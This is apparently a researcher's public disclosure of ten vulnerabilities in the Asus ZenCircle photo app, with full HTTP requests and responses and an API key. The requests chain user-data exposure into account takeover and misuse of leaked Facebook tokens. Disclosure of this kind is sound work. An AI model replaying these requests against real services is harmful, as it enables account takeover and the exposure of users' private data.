Zen what?

ZenCircle is an instagram like app, created by Asus for users of Asus phones like the Zenfone. It comes pre-installed on Asus phones but you are able to install it on any Android device. You can upload, comment and like photos and you are also able to follow other users. According to the Google Play Store it has over 10 million downloads.



Disclaimer

All tests were performed with my testing accounts. No other accounts were abused or manipulated. I’ve not tried to exploit other real user accounts. Also I’ve tried to contact ZenCircle and Asus support but no reply from them 🙁

Vulnerabilities

Okay, I’m sure you want to know what vulnerabilities I’ve found. I’m not saying that these are hard to find vulnerabilities (but they deserve attention). Some of them have a low impact, but there are few which are more serious and two of them are really critical. Totally I’ve found 10 vulnerabilities, specifically:

Operating system disclosure

Account enumeration

Change notification owner

Visitors tracking (IP address disclosure)

Personal cloud storage 🙂

Like photo unlimited times (as ANY user)

Follow ANY user as ANY user

Account information disclosure

Take over ANY ZenCircle account

Perform actions on Social Network account

Let’s start with the low impact vulnerabilities, shall we? 😉

1. Operating system disclosure

Well, this one is pretty much useless (now), but it shouldn’t be there. Sometimes when I ran requests really quick, server responds with following error response:

2. Account enumeration

This one is pretty common and I think you already know how it will be done. If I try to login with invalid email, server responds with login error and if I enter correct email and incorrect password, server responds with password error .

Request with invalid mail [req1]:

POST /ws/awscusinfo.asmx HTTP/1.1 content-type: text/xml; charset=utf-8 SOAPAction: http://www.asus.com/call User-Agent: [redacted] Host: account.asus.com Connection: close Accept-Encoding: gzip Content-Length: 455 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><call xmlns="http://www.asus.com/"><AppID>amax000003</AppID><AppKey>[redacted] </AppKey><ApiID>w000000011</ApiID><ParaJson>{"passwd":"[redacted]","login":"[not registered mail]"}</ParaJson></call></soap:Body></soap:Envelope>

Response [res1]:

HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Date: Sun, 17 Jul 2016 10:01:20 GMT Connection: close Content-Length: 444 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><callResponse xmlns="http://www.asus.com/"><callResult><ResultCode>0</ResultCode><ResultDesc>login error</ResultDesc><ReturnDataType>String</ReturnDataType><ReturnData /></callResult></callResponse></soap:Body></soap:Envelope>

Request with valid mail and invalid password [req2]:

POST /ws/awscusinfo.asmx HTTP/1.1 content-type: text/xml; charset=utf-8 SOAPAction: http://www.asus.com/call User-Agent: [redacted] Host: account.asus.com Connection: close Accept-Encoding: gzip Content-Length: 455 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><call xmlns="http://www.asus.com/"><AppID>amax000003</AppID><AppKey>[redacted]</AppKey><ApiID>w000000011</ApiID><ParaJson>{"passwd":"[invalid password]","login":"[valid mail]"}</ParaJson></call></soap:Body></soap:Envelope>

Response [res2]:

HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Date: Sun, 17 Jul 2016 10:03:31 GMT Connection: close Content-Length: 447 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><callResponse xmlns="http://www.asus.com/"><callResult><ResultCode>0</ResultCode><ResultDesc>password error</ResultDesc><ReturnDataType>String</ReturnDataType><ReturnData /></callResult></callResponse></soap:Body></soap:Envelope>

3. Change notification owner

Well, to be honest, this is weird and I had to think for a long time how this can be misused. You can spoof the “target” of a notification. So let’s say I comment on my photo but notification is shown to user I choose instead of me. It can be handy if you want to leverage this vulnerability with other vulnerability eg. IP disclosure.

Request [req3]:

POST /1/functions/comment HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Session-Token: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Content-Type: application/json Content-Length: 58 Host: api.parse.com Connection: close Accept-Encoding: gzip {"_id":"[picture id]","comment":"This is comment","ownerId":"[owner id]"}

_id – is target of your comment (picture you are commenting)

comment – comment (hello mr. obvious)

ownerId – user id you want to target => this user will receive notification about your comment even if he is not owner of that image

Result:

This is shown on my other mobile account. Notification is saying that I commented on my other account photo which is not true because that picture is in my account “blacky”.

4. Visitors tracking & IP address disclosure

Sometimes applications have bad logic flow and that can open them to other vulnerabilities. First I want to explain how uploading images works in ZenCircle and maybe you will see this vulnerability too 😉 . So if you want to upload image (to your album or as a profile picture), your phone will make following request to upload the actual picture onto their servers.

[req4]

POST /file-relay/files HTTP/1.1 Content-Type: multipart/form-data; boundary=e8baa46f-780b-47ed-a998-5632511cf7fb Content-Length: 695733 Host: zupea.azurewebsites.net Connection: close Accept-Encoding: gzip User-Agent: okhttp/2.2.0 --e8baa46f-780b-47ed-a998-5632511cf7fb Content-Disposition: form-data; name="token" Content-Type: text/plain; charset=UTF-8 Content-Length: 25 Content-Transfer-Encoding: binary [redacted] --e8baa46f-780b-47ed-a998-5632511cf7fb Content-Disposition: form-data; name="file"; filename="test_image.png" Content-Type: application/octet-stream Content-Length: 695245 Content-Transfer-Encoding: binary [image data]

Response [res4]:

HTTP/1.1 200 OK Content-Length: 191 Content-Type: application/json; charset=utf-8 Vary: Origin,Accept-Encoding Server: Microsoft-IIS/8.0 X-Powered-By: Express X-Powered-By: ASP.NET Set-Cookie: ARRAffinity=[redacted];Path=/;Domain=zupea.azurewebsites.net Date: Fri, 12 Aug 2016 10:24:13 GMT Connection: close {"msg":"ok","url":"http://zencirclemedia.blob.core.windows.net/media/3c58c384654873f3b57e0367ad11ab25.png","cdnUrl":"http://mediacdn.zencircle.com/media/3c58c384654873f3b57e0367ad11ab25.png"}

And after that a second request is fired which contains description, hashtags and so on [req5]:

POST /1/classes/Story HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-REST-API-Key: [redacted] X-Parse-Session-Token: [redacted] Content-Type: application/json Content-Length: 769 Host: api.parse.com Connection: close Accept-Encoding: gzip User-Agent: okhttp/2.2.0 {"ACL":{"*":{"read":true},"[user id]":{"read":true,"write":true}},"actionLink":{"__type":"Pointer","className":"ActionLink","objectId":"2UwPJ6peHc"},"cdn_file_link":"http://mediacdn.zencircle.com/media/3c58c384654873f3b57e0367ad11ab25.png","description":"Image description","type":"image/png","file_link":"http://zencirclemedia.blob.core.windows.net/media/3c58c384654873f3b57e0367ad11ab25.png","hashtags":["awesomehashtag"],"likeType":"LIKE","title":"My title","thumbnail_link":"http://zencirclemedia.blob.core.windows.net/media/fc44593f9158a358e4b8d2cc64543a9e.jpg","thumbnail_cdn_link":"http://mediacdn.zencircle.com/media/fc44593f9158a358e4b8d2cc64543a9e.jpg","original_width":960,"order":0.0,"original_height":540,"thumbnail_width":640,"thumbnail_height":360,"downloadAuth":0}

Do you see something weird? No? Okay, I tell you. In second request you are specifying url of your uploaded image. Let’s play the “What if” game 😉 What if I specify my own url?

I did that and after quick look in application, there was another image which was downloaded from my own server! And because it was downloaded from my server, I can see user agents and their IP addresses. Serving your own images is not good in these days. Especially for Android users with bugs like CVE-2016-3862.

I don’t know why but also I was able to see requests from main page of ZenCircle.

112.13[redacted] - - [12/Aug/2016:13:00:53 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "http://www.zencircle.com/" "Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00J Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36" 37.15[redacted] - - [12/Aug/2016:13:03:08 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "-" "Dalvik/2.1.0 (Linux; U; Android 5.0; ASUS_Z00AD Build/LRX21V)" 101.21[redacted] - - [12/Aug/2016:13:04:20 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "-" "Dalvik/2.1.0 (Linux; U; Android 6.0.1; ASUS_Z00LD Build/MMB29P)" 101.12[redacted] - - [12/Aug/2016:13:06:50 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "-" "Dalvik/2.1.0 (Linux; U; Android 6.0.1; ASUS_Z00ED Build/MMB29P)" 5.90[redacted] - - [12/Aug/2016:13:10:48 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "-" "Dalvik/2.1.0 (Linux; U; Android 5.1; ASUS_Z00VD Build/LMY47I)" 201.43[redacted] - - [12/Aug/2016:13:16:15 +0200] "GET /test1.jpg HTTP/1.1" 200 334705 "-" "Dalvik/2.1.0 (Linux; U; Android 5.0; ASUS_Z002 Build/LRX21V)"

5. Personal cloud storage

I’m not 100% sure about this one, but using file-relay/files endpoint (req4) from the previous section you are able to upload ANY file. They also preserve the file extension so you can write a tool which will upload files to their servers and then you can download them. I would recommend them to check if the uploaded image is an actual image and I’m sure there are other checks which they can perform. But as I mention in the beginning of this section, I’m not sure about this because they can have some kind of “timeout” after which they delete file if it’s not used in ZenCircle.

6. Like photo unlimited times (as ANY user)

Well, well, well. If you create this kind of app, I would expect that you make very sure that it functionality can’t be easily exploited. One of things you can do in this app is that you are able to like a photo. Officially, you can only give one like per photo, but if you are huge fan, you can like photo unlimited times. Let’s dive into this, it’s pretty straightforward.

After you like photo, following request is issued [req6]:

POST /1/classes/Activity HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Session-Token: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Content-Type: application/json Content-Length: 236 Host: api.parse.com Connection: close Accept-Encoding: gzip {"fromUser":{"__type":"Pointer","objectId":"[from user id]","className":"_User"},"toUser":{"__type":"Pointer","objectId":"[to user id]","className":"_User"},"type":"lk","story":{"__type":"Pointer","objectId":"[image id]","className":"Story"}}

from user id – id of user which is liking an image

to user id – id of user which will receive notification about liking an image (not sure about this one)

image id – id of an image you want to like

And if you want to like image for example 10 times, just send this request (req6) 10 times. I tried this with Intruder tool which is included in Burp Suite and it worked.

7. Follow ANY user as ANY user

You can follow any user, that’s pretty normal. If you like someones photos and you want to see them when he upload them, you can follow him. Vulnerability comes to place where you are also able to specify user which wants to follow that user. Here is request which is issued when you want to follow someone [req7]:

POST /1/classes/Activity HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Session-Token: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Content-Type: application/json Content-Length: 163 Host: api.parse.com Connection: close Accept-Encoding: gzip {"fromUser":{"__type":"Pointer","objectId":"[from user]","className":"_User"},"toUser":{"__type":"Pointer","objectId":"[to user]","className":"_User"},"type":"fl"}

I’m sure you see that vulnerability but if you don’t, here is explanation:

from user – ID of user which wants to follow someone

to user – ID of user which someone wants to follow

8. Account information disclosure

I was surprised when I saw what they are exposing to everyone. You can get mail of any user, his ID or time where he created his account. Also they are exposing much more but we will look into it later. To get these data you have 2 options. First, you can use search functionality if you know username like this [req8]:

POST /1/classes/_User HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Session-Token: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Content-Type: application/json Content-Length: 114 Host: api.parse.com Connection: close Accept-Encoding: gzip {"limit":"50","where":"{\"canonicalName\":{\"$regex\":\"^\\\\Q[username]\\\\E\"}}","order":"name","_method":"GET"}

Or second option is when you know his ID, you can directly request his information like this [req9]:

GET /1/classes/_User/[user id] HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Session-Token: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Host: api.parse.com Connection: close Accept-Encoding: gzip

Response from server [res8]:

HTTP/1.1 200 OK Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Fri, 16 Sep 2016 21:17:12 GMT Server: nginx/1.6.0 X-Parse-Platform: G1 X-Runtime: 0.047117 Content-Length: 1086 Connection: Close {"results":[{"FB_uid":"[FB user id]","ThirdParties":{"FB":{"ticket":"[ticket]","token":"[token]"}},"canonicalName":"[nickname]","country":"SVK","createdAt":"2016-09-16T19:17:52.320Z","email":"[user mail]","enabledTypes":["cm","fl"],"follower":{"__type":"Relation","className":"_User"},"following":{"__type":"Relation","className":"_User"},"ids":["FB,[FB user id]"],"name":"[nickname]","objectId":"[user id]","preference":{"downloadAuth":0,"regulation":1},"readTime":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_comment":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_follow":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_like":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"updatedAt":"2016-09-16T19:17:57.755Z","username":"[uuid]","visibleContents":["profile_likes"]}]}

FB user id – ID of facebook user

ticket – I’ll explain later

token – I’ll explain later

nickname – nickname of ZenCircle user

user mail – email of ZenCircle user (if he is registered through Facebook, it is possible that this is primary email of his Facebook account)

user id – this is user id which can be helpful in other requests

uuid – not sure where is this used

You can get a pretty good amount of information just by using this search query.

Critical Vulnerabilities

I’ve noticed this vulnerabilities while I was writing this post and it took me a while to process this findings in my mind. I couldn’t believe it. I’ve tried it over and over with few differences and it still worked.

9. Take over ANY ZenCircle account

Okay, let’s get started without hesitation. It won’t take long, I promise.

Again, before I show you actual vulnerability, I’ll explain login process.

At the beginning, you have to login with Facebook, Google Plus or using login/password combination. I’ll choose login/password.

[req10]

POST /ws/awscusinfo.asmx HTTP/1.1 content-type: text/xml; charset=utf-8 SOAPAction: http://www.asus.com/call User-Agent: [redacted] Host: account.asus.com Connection: close Accept-Encoding: gzip Content-Length: 458 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><call xmlns="http://www.asus.com/"><AppID>amax000003</AppID><AppKey>50e1ce8f0139449984b2a4e525f7c8f3</AppKey><ApiID>w000000011</ApiID><ParaJson>{"passwd":"[password]","login":"[email]"}</ParaJson></call></soap:Body></soap:Envelope>

This is pretty straight forward. You need to know login/password combination to login. So far so good. Here is response which you receive [res10]:

HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Date: Sun, 17 Jul 2016 10:43:23 GMT Connection: close Content-Length: 755 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><callResponse xmlns="http://www.asus.com/"><callResult><ResultCode>1</ResultCode><ResultDesc>Success</ResultDesc><ReturnDataType>String</ReturnDataType><ReturnData>[{"cus_id":"[uuid]","ticket":"[ticket]","nick_name":"[nickname]","sso_flag":"0,1","login":"[email]","first_name":"","last_name":"","pic":"","privacy_setting":"{\"AddFriendType\":1, \"AddMessageType\": 1}","email":"[email]","mobile":""}]</ReturnData></callResult></callResponse></soap:Body></soap:Envelope>

Looks normal, you get few variables which you can use like your nickname, privacy settings and so on.

Then your phone make another request to get session token which you can then use for other requests. You need to specify your login email, login type and also ticket which you’ve received in previous request (res10) [req11]:

POST /1/functions/asusLogin HTTP/1.1 X-Parse-Application-Id: L6oc1dynlEx9nwMl7S7yJd1mFAQlc3cCNWhvBIlS X-Parse-App-Display-Version: 2.0.28.160607_01 X-Parse-Installation-Id: [redacted] X-Parse-OS-Version: [redacted] User-Agent: Parse Android SDK 1.11.0 (com.asus.zencircle/2532) API Level 19 X-Parse-Client-Key: [redacted] X-Parse-Client-Version: a1.11.0 X-Parse-App-Build-Version: 2532 Content-Type: application/json Content-Length: 174 Host: api.parse.com Connection: close Accept-Encoding: gzip {"uid":"[email]","idType":"[login type]","ticket":"[ticket]","token":"","url":"https:\/\/account.asus.com\/ws\/AsusService.asmx","requireLink":false}

and then you get session token like this [res11]:

HTTP/1.1 200 OK Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Sun, 17 Jul 2016 10:43:36 GMT Server: nginx/1.6.0 X-Parse-Platform: G1 X-Runtime: 1.807392 Content-Length: 39 Connection: Close {"result":"[session token]"}

Did you notice something weird? No? No problem, come with me, I’ll show you.

Look closely on second request (req11). You need to specify email, login type and ticket. I’ll repeat it one more time. You have to specify EMAIL, LOGIN TYPE and TICKET. If you remember things from previous section (res8), you’ve get all of this information.

Here is again response from previous section, all required data are italic [res10]:

{"results":[{"FB_uid":"[FB user id]","ThirdParties":{"FB":{"ticket":"[ticket]","token":"[token]"}},"canonicalName":"[nickname]","country":"SVK","createdAt":"2016-09-16T19:17:52.320Z","email":"[user mail]","enabledTypes":["cm","fl"],"follower":{"__type":"Relation","className":"_User"},"following":{"__type":"Relation","className":"_User"},"ids":["FB,[FB user id]"],"name":"[nickname]","objectId":"[user id]","preference":{"downloadAuth":0,"regulation":1},"readTime":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_comment":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_follow":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"readTime_like":{"__type":"Date","iso":"2016-09-16T19:17:52.119Z"},"updatedAt":"2016-09-16T19:17:57.755Z","username":"[uuid]","visibleContents":["profile_likes"]}]}

Login type in this case is FB, then there is also ticket and email. Wonderful, they gave us everything what we need! I’ve tried it many times and everytime I’ve get valid session token without knowing login/password combination.

10. Perform actions on Social network account

Okay, taking over ZenCircle is pretty bad thing. But I was even more surprised when I noticed and realized one thing. In previous request (res8) where we get email, ticket and so on, is one more thing I didn’t tell you about. It is token variable. First thing which came to my mind after I saw it was: Isn’t this token to communicate with Graph API (Facebook API)?! And I was right. I used this great tool from Facebook – Graph API explorer, paste token here and immediately Facebook told me that this is not my token. I was ok with that, I know it isn’t my token, that’s the whole point 🙂 When you are registering to ZenCircle with Facebook, you are giving it following permissions:

So as a PoC (Proof of Concept) I’ve decided to get user mail address which privacy settings was set to “Only me” and here is result from Graph API explorer:

Reward

Sadly, I’ve get no reward from doing this. ZenCircle nor Asus have any bug bounty program. Anyway it was good experience looking into this app because it generates a lot of data with various pointers, IDs and it was like puzzle. You have to go piece by piece until you get whole picture.

Timeline:

17/7/2016 – Discovery of few low impact vulnerabilities

15/8/2016 – First attempt to contact ZenCircle support

16/9/2016 – Discovery of critical vulnerabilities

17/9/2016 – Second attempt to contact Asus support

6/10/2016- Public disclosure